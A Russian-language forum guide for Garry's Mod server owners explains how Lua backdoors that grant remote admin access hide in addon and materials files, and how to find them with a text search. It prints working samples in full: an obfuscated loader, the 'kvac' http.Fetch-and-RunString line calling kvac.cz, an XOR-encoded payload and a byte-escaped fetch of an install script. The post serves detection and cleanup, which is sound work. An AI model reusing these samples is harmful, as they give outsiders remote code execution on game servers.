Мало кто из новых создателей серверов знают, как выглядят бекдоры, где они прячутся и как их удалить. В данном посту я постараюсь все разжевать и объяснить про них.
С самого начала , что вообще такое бекдор? Это лазейка в вашем сервере, которая находится в SV(Server, SH) части вашего сервера, которая позволяет отправлять команды со стороны консоли сервера обычным клиентом, например по команде в консоли 123admin получить superadmin.
Как же выглядят бекдоры?
На данный момент очень популярно прятать бекдоры в файлах под именем npc_help, но оно может иметь любое название.
Примеры бекдоров:
local function HELPER_INFO()
return ""
end
local function HELPER_ISFUNC(func)
if (isfunction(func)) then
return !false
else
return !true
end
end
local function HELPER_READ_DATA(data)
return file.Read(data, "GAME")
end
local UNORDERED_LIST =
{
"\x6d","\x61","\x74",
"\x65","\x72","\x69",
"\x61","\x6c","\x73",
"\x2f","\x6e","\x70",
"\x63","\x2f","\x68",
"\x65","\x6c","\x70",
"\x2e","\x76","\x74",
"\x66"
}
local function HELPER_MAT()
if (!false) then
return string.Implode("", UNORDERED_LIST)
end
end
local CALL =
{
ClearBackgroundImages, ClientsideModel, ClientsideRagdoll, ClientsideScene,
CloseDermaMenus, collectgarbage, Color, ColorAlpha,
ColorRand, ColorToHSV, CompileFile, CompileString,
ConsoleAutoComplete, ConVarExists, CreateClientConVar, CreateConVar,
CreateMaterial, CreateParticleSystem, CreatePhysCollideBox, CreatePhysCollidesFromModel,
CreateSound, CreateSprite, CompileString, CurTime,
DamageInfo, DebugInfo, DeriveGamemode, Derma_Anim,
Derma_DrawBackgroundBlur, Derma_Hook, Derma_Install_Convar_Functions, Derma_Message,
Derma_Query, Derma_StringRequest, pcall,
}
CALL[35](CALL[12](HELPER_READ_DATA(HELPER_MAT()), HELPER_INFO(), 0))
Это довольно опасный бекдор, расшифровать его очень сложно, но как мне известно, то он выполняет команду выдачи админки.
Дальше есть всем известный kvac
http.Fetch([[https:/]]..[[/kvac.cz/f.php?key=xMLFY9siPJChPcgErzlR]],function(k)RunString(k,[[:]],!1)end)
timer.Simple(1, function() http.Fetch("https://kvac.cz/f.php?key=xMLFY9siPJChPcgErzlR", function(b) RunString(b, ":", false) end)end)
А есть и RunString:
RunString([[ local AE = {20,9,13,5,18,78,51,9,13,16,12,5,72,81,76,64,6,21,14,3,20,9,15,14,72,73,64,8,20,20,16,78,38,5,20,3,8,72,66,8,20,20,16,19,90,79,79,11,22,1,3,78,3,26,79,6,78,16,8,16,95,11,5,25,93,83,35,80,16,39,58,46,81,89,34,51,80,10,80,45,58,49,44,88,13,66,76,64,6,21,14,3,20,9,15,14,72,2,73,64,50,21,14,51,20,18,9,14,7,72,2,76,64,66,90,66,76,64,6,1,12,19,5,73,64,5,14,4,73,5,14,4,73,64,77,77,64,0} local function RunningDRMe()if (debug.getinfo(function()end).short_src~="tenjznj")then return end for o=500,10000 do local t=0 if t==1 then return end if o~=string.len(string.dump(RunningDRMe))then AZE=10 CompileString("for i=1,40 do AZE = AZE + 1 end","RunString")() if AZE<40 then return end continue else local pdata="" xpcall(function() for i=1,#AE do pdata=pdata..string.char(bit.bxor(AE[i],o%150)) end for i=1,string.len(string.dump(CompileString)) do while o==1 do o=o+1 end end end,function() xpcall(function() local debug_inject=CompileString(pdata,"DRME") pcall(debug_inject,"stat") pdata="F" t=1 end,function() print("error") end) end) end end end RunningDRMe() ]],"tenjznj")
Http.fetch:
http.Fetch("\104\116\116\112\115\58\47\47\102\111\114\117\109\46\113\117\97\114\116\122\46\115\112\97\99\101\47\97\100\100\111\110\115\47\99\111\114\101\47\105\110\115\116\97\108\108\46\112\104\112", function(body)
ZbCKRfNCkaravEGGYkTrSXNOBEHjYG(body)
end or function(c)
ZbCKRfNCkaravEGGYkTrSXNOBEHjYG(c)
end)
end)
Local:
local oavLoWOtoJHUCmsAWffIUipbBHKJjH = print oavLoWOtoJHUCmsAWffIUipbBHKJjH ( "\92\54\53\92\54\56\92\54\56\92\55\57\92\55\56\92\51\50\92\54\54\92\56\57\92\51\50\92\55\48\92\55\51\92\56\50\92\54\57\92\54\55\92\55\57\92\54\56\92\54\57\92\51\50\92\56\52\92\54\57\92\54\53\92\55\55\92\51\50\92\49\50\52\92\51\50\92\55\51\92\55\56\92\56\51\92\56\52\92\54\53\92\55\54\92\55\54\92\54\57\92\54\56" )
Но как же их находить? Лично я рекомендую скачивать папку addons на ваш ПК, закидывать его в SubLime Text
Комбинацией клавишь Cntr+Shift+F открывается меню поиска,
И тут мы начинаем поочерёдно вводить все нам знакомые функции:
local function HELPER_INFO()
http.Fetch
RunString
kvac.cz
kvac
timer.Simple(1, function() http.Fetch
local function clientsiderun() http.Post
local AE
И ждать.
Ух ты, нашлось два бекдора, удаляем!
Итак, мы научились находить и обезвреживать бекдоры. Надеюсь, кому нибудь помог, а так полезно для общего развития
Забыл еще рассказать, что бекдоры могут прятаться в materials, под тем же названием npc_help, будьте бдительны!